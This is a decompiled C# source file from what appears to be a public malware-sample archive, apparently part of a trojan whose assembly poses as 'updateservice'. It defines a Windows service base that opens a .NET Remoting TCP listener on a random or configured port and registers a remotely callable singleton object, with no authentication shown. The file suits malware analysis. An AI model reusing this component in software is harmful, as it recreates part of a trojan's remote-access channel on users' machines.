MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Patched.mf-9c4f7eb57e580673b883e57f31931bcbce8bd5d8de1a509a25b8b5a175335d9f/Services/RemoteServiceBase.cs

55 lines
1.9 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Bmc.Services.RemoteServiceBase
// Assembly: updateservice, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A6A1FC23-14F7-4CCE-B702-0F9FFD2CD5AC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Patched.mf-9c4f7eb57e580673b883e57f31931bcbce8bd5d8de1a509a25b8b5a175335d9f.exe
using Bmc.Broker.Config;
using Bmc.RegistryAccess;
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.ServiceProcess;
namespace Bmc.Services
{
public class RemoteServiceBase : ServiceBase
{
private TcpServerChannel channel;
private static Random portRandom = new Random();
private static int MAX_PORT_TRIES = 5;
private static int randomPort() => RemoteServiceBase.portRandom.Next(0, (int) ushort.MaxValue);
protected void OnStart(FIELD portField, string uri, Type server)
{
string str = ConfigurationManager.Instance[portField];
int port = str == null ? RemoteServiceBase.randomPort() : Convert.ToInt32(str);
for (int index = 0; index < RemoteServiceBase.MAX_PORT_TRIES; ++index)
{
try
{
this.channel = new TcpServerChannel(port);
if (port.ToString() != str)
{
ConfigurationManager.Instance[portField] = port.ToString();
break;
}
break;
}
catch (Exception ex)
{
port = RemoteServiceBase.randomPort();
}
}
if (this.channel == null)
throw new Exception("initialization failed, could not find free port");
ChannelServices.RegisterChannel((IChannel) this.channel);
RemotingConfiguration.RegisterWellKnownServiceType(server, uri, WellKnownObjectMode.Singleton);
}
protected override void OnStop() => ChannelServices.UnregisterChannel((IChannel) this.channel);
}
}